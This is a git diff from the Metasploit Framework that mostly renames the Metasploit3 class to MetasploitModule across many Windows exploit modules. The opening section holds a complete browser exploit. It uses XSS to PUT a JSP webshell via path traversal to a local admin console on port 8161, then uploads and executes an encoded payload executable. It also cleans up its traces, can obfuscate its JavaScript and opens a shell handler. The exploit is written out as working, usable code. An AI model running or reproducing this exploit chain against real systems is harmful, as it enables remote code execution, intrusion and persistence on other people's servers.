payload_url = "http://" + payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name + + # we deliver the JavaScript code that does the work for us + if (request.uri.match(/.js/)) + return if ((p = regenerate_payload(cli)) == nil) + + # dont exploit again otherwise we get a zillion shells + return if session_created? or @exploited + + jsp_name = rand_text_alpha(rand(10)+5) + '.jsp' + exe_name = rand_text_alpha(rand(10)+5) + '.exe' + + # clean just the jsp, because the exe dropper will be in use + register_files_for_cleanup("../../webapps/admin/#{jsp_name}") + + # our jsp upload, ensuring native code execution + jsp = %Q|<%@ page import="java.io.*" %> + <% + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + BufferedReader reader = request.getReader(); + int tmp; + while ((tmp = reader.read()) != -1) { buf.write(tmp); } + FileOutputStream fostream = new FileOutputStream("#{exe_name}"); + buf.writeTo(fostream); + fostream.close(); + Runtime.getRuntime().exec("#{exe_name}"); + %>| + + # encode the payloads + encoded_exe = encode_js(generate_payload_exe(code: payload.encoded)) + encoded_jsp = encode_js(jsp) + + # targets + jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}" + upload_uri = "http://localhost:8161/admin/#{jsp_name}" + + # this code does the PUT, then uploads/exec native code and then cleans the XSS out :-> + js_content = %Q| + + function do_put(uri, file_data) { + var file_size = file_data.length; + var xhr = new XMLHttpRequest(); + xhr.open("PUT", uri, true); + var body = file_data; + xhr.send(body); + return true; + } + + function do_upload(uri, file_data) { + var file_size = file_data.length; + var xhr = new XMLHttpRequest(); + xhr.open("POST", uri, true); + var body = file_data; + + // latest ff doesnt have sendAsBinary(), so we redefine it + if(!xhr.sendAsBinary){ + xhr.sendAsBinary = function(datastr) { + function byteValue(x) { + return x.charCodeAt(0) & 0xff; + } + var ords = Array.prototype.map.call(datastr, byteValue); + var ui8a = new Uint8Array(ords); + this.send(ui8a.buffer); + } + } + xhr.sendAsBinary(body); + return true; + } + + function bye_bye_xss(uri){ + var xhr = new XMLHttpRequest(); + xhr.open('GET', uri.replace(/\\+/g,"%2b"), true); + xhr.send(); + } + + function clean_up(){ + var xhr = new XMLHttpRequest(); + xhr.onreadystatechange = function() { + if (xhr.readyState == XMLHttpRequest.DONE) { + var els = xhr.responseXML.getElementsByTagName("a"); + for (var i = 0, l = els.length; i < l; i++) { + var el = els[i]; + if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) { + bye_bye_xss(el.href); + } + } + } + } + xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true); + xhr.responseType = "document"; // so that we can parse the reponse as a document + xhr.send(null); + } + + function exploit(){ + do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]})); + clean_up(); + } + + function start() { + do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp})); + setTimeout(exploit(), 4000); // timing is important + } + start(); + | + + if datastore['OBFUSCATE'] + js_content = ::Rex::Exploitation::JSObfu.new(js_content) + js_content.obfuscate + end + + print_status("Sending javascript...") + @exploited = true + send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' }) + return + end + + if datastore['OBFUSCATE'] + js_content = ::Rex::Exploitation::JSObfu.new(js_content) + js_content.obfuscate + onlick = ::Rex::Exploitation::JSObfu.new(onlick) + onlick.obfuscate + end + + # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request + # and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS + html_content = %Q| + + + + + + + | + print_status("Sending exploit...") + send_response_html(cli, html_content) + handler(cli) + end +end diff --git a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb index 3fee969510..b53b4c019d 100644 --- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb +++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 33f43e125b..73ca64f4bd 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/softartisans_getdrivename.rb b/modules/exploits/windows/browser/softartisans_getdrivename.rb index b234fe3cdb..7649666ea1 100644 --- a/modules/exploits/windows/browser/softartisans_getdrivename.rb +++ b/modules/exploits/windows/browser/softartisans_getdrivename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb index 826b8ebc90..6244740d46 100644 --- a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb +++ b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb index de69777a84..f35dcf5e4e 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb index bdad1cf0ff..b76478f196 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb index 034b2bb5a2..75d5bcdeb2 100644 --- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb +++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb index aa83462d25..eb84ff49fe 100644 --- a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb +++ b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb index 040559c4ba..6ab6a8ac97 100644 --- a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb +++ b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index e3471a628f..f950ccbaac 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb index 0d0a45ad76..90f780c73f 100644 --- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb +++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index d699f52c02..4540017403 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index c784f2aace..4544396f52 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb index 8d3c754bbf..27990a4b47 100644 --- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb +++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb @@ -33,7 +33,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/trendmicro_officescan.rb b/modules/exploits/windows/browser/trendmicro_officescan.rb index 94fbfcded7..ad5a5c58d1 100644 --- a/modules/exploits/windows/browser/trendmicro_officescan.rb +++ b/modules/exploits/windows/browser/trendmicro_officescan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb index f012e29f3c..def0203920 100644 --- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb +++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb index 8bbdc303e6..8d4387ffd8 100644 --- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb +++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index cdb9360048..3f80edb8c0 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ultraoffice_httpupload.rb b/modules/exploits/windows/browser/ultraoffice_httpupload.rb index 05b995f2ba..d7edd41d46 100644 --- a/modules/exploits/windows/browser/ultraoffice_httpupload.rb +++ b/modules/exploits/windows/browser/ultraoffice_httpupload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index 9ad826a3e4..a3fc6e77cf 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index 5aac5af13b..aafaccaa1b 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'false', + 'DisablePayloadHandler' => false, 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index b6d98e0d67..e414e6fa6f 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index 69886b5b78..2e33ace44f 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index 0751a93afc..7f4ca9edc9 100644 --- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index a4aa0fee3e..6e337c99a7 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index 6efae24eeb..ea7cda3260 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/winamp_playlist_unc.rb b/modules/exploits/windows/browser/winamp_playlist_unc.rb index eaba3e96eb..865b6b05f8 100644 --- a/modules/exploits/windows/browser/winamp_playlist_unc.rb +++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote register_evasion_options( [ - OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false']) + OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', false]) ]) end @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote end def generate_space - if datastore['PlaylistSpaceInjection'] == true + if datastore['PlaylistSpaceInjection'] return rand_text(rand(100)+1, nil, " \t") else return '' diff --git a/modules/exploits/windows/browser/winamp_ultravox.rb b/modules/exploits/windows/browser/winamp_ultravox.rb index 3d2cc4191f..ffd09d661d 100644 --- a/modules/exploits/windows/browser/winamp_ultravox.rb +++ b/modules/exploits/windows/browser/winamp_ultravox.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/browser/windvd7_applicationtype.rb b/modules/exploits/windows/browser/windvd7_applicationtype.rb index 4d7d428b0a..362458f78b 100644 --- a/modules/exploits/windows/browser/windvd7_applicationtype.rb +++ b/modules/exploits/windows/browser/windvd7_applicationtype.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb index 725d4f1f67..9ceeca87a3 100644 --- a/modules/exploits/windows/browser/winzip_fileview.rb +++ b/modules/exploits/windows/browser/winzip_fileview.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index 085e90f186..e73dab9d78 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb index 7a0c664d80..07d4cd0d81 100644 --- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb index 4e53c13709..151f2e87c7 100644 --- a/modules/exploits/windows/browser/xmplay_asx.rb +++ b/modules/exploits/windows/browser/xmplay_asx.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb index 6fdd49587e..64fa89bcaa 100644 --- a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb +++ b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb index 96d12e137b..b50153df05 100644 --- a/modules/exploits/windows/browser/yahoomessenger_server.rb +++ b/modules/exploits/windows/browser/yahoomessenger_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb index ce4d676070..c337ced797 100644 --- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb +++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 6e66961670..3a30a85b77 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb index c96e02efd9..6f70408261 100644 --- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index 7c1644a853..b2850c5420 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb index 3a1fb0408b..2cd0def19c 100644 --- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index dd935ca56b..a6ec6d8d85 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb index 6f5aa83335..2af7cccba2 100644 --- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb index 9f479be312..8fe0d02d1d 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # This module acts as an HTTP server @@ -334,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] - if datastore['HTML'] == true + if datastore['HTML'] body = create_email_body_html(datastore['MESSAGE'], msg.subject) content_type = "text/html; charset=\"iso-8859-1\"" msg.add_part(body, content_type, 'quoted-printable') diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb index 609af5543f..de613c1c99 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # This module acts as an HTTP server diff --git a/modules/exploits/windows/emc/alphastor_agent.rb b/modules/exploits/windows/emc/alphastor_agent.rb index 07697ef91d..7839770d97 100644 --- a/modules/exploits/windows/emc/alphastor_agent.rb +++ b/modules/exploits/windows/emc/alphastor_agent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb index 1ac3b2d0fd..8aa7292ccb 100644 --- a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb +++ b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb @@ -1,6 +1,6 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index acbae74556..8c96c8ebe2 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index d053f2fdad..a75d439009 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb index d356673194..3adf2f2f65 100644 --- a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/abbs_amp_lst.rb b/modules/exploits/windows/fileformat/abbs_amp_lst.rb index b5b5df41ca..3b4ad817a3 100644 --- a/modules/exploits/windows/fileformat/abbs_amp_lst.rb +++ b/modules/exploits/windows/fileformat/abbs_amp_lst.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb index d3ba10d458..8fb6d3e430 100644 --- a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb +++ b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb @@ -5,7 +5,7 @@ require 'msf/core' -class 